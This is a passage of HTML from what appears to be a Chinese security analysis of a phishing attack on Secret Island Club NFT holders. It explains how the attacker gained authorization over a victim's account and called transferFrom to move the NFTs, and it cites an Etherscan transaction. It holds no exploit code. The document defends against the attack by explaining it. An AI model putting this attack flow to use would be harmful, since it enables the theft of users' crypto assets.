0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">对输入数据进行解码，授权攻击者操作受害账户</span></strong></span><span style="font-size: 16px;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"> Secret Island Club 资产的操作将显得更加直观，交易发出后，攻击者即具备了转账受害账户 Secret Island Club NFT 资产的权限。</span></strong></span></p><p><span style="font-size: 16px;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></strong></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5693950177935944" data-s="300,640" style="" data-type="png" data-w="2248" src="https://wechat2rss.xlab.app/img-proxy/?k=7a563746&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpo9qny0ZVUEYj72iaVRflEEiaFWh8U9C154ShnN5gNia8KdITttEYHO7y0klibeDdS2PFnatiaicibgQYia6w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 16px;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="margin: 0px;padding: 0px;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;text-align: justify;float: none;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2.攻击者调用<strong style="margin: 0px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;font-size: 16px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;"><span style="margin: 0px;padding: 0px;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;text-align: justify;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> Secret Island Club </span></strong></span></span>NFT 合约</strong>转</span></strong><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">转账受害账户 Secret Island Club 资产</span></strong></span><span style="margin: 0px;padding: 0px;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;text-align: justify;float: none;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">的交易链接</span></strong><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">：</span></strong></span></span></strong></span></p><p><span style="font-size: 16px;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="margin: 0px;padding: 0px;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;text-align: justify;float: none;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></strong></span></span></strong></span></p><p><span style="font-size: 16px;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="margin: 0px;padding: 0px;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;text-align: justify;float: none;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://etherscan.io/tx/0xdb1ef86ff503ce947daf4bb038de5c7a649574be89e4141cffceb504079f6133" target="_blank">https://etherscan.io/tx/0xdb1ef86ff503ce947daf4bb038de5c7a649574be89e4141cffceb504079f6133</a></span><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></strong></span></span></strong></span></p><p><span style="font-size: 16px;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="margin: 0px;padding: 0px;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;text-align: justify;float: none;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></strong></span></span></strong></span></p><p style=""><span style="font-size: 16px;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">通过下图不难发现，此时智能合约的调用者已经变成了攻击账户，调用 transferFrom函数将受害账户资产转移至攻击账户中：</span></strong></span></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5410557184750733" data-s="300,640" style="" data-type="png" data-w="2728" src="https://wechat2rss.xlab.app/img-proxy/?k=6bed5e55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpo9qny0ZVUEYj72iaVRflEEiaLDgyC0atzBIcdRoLUNIYZe4tqEhjmZCQ7dMQSI9c4AFYpQ0NiaZjiawg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 16px;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="margin: 0px;padding: 0px;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;text-align: justify;float: none;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></strong></span></span></strong></span></p><p><br/></p><p><span 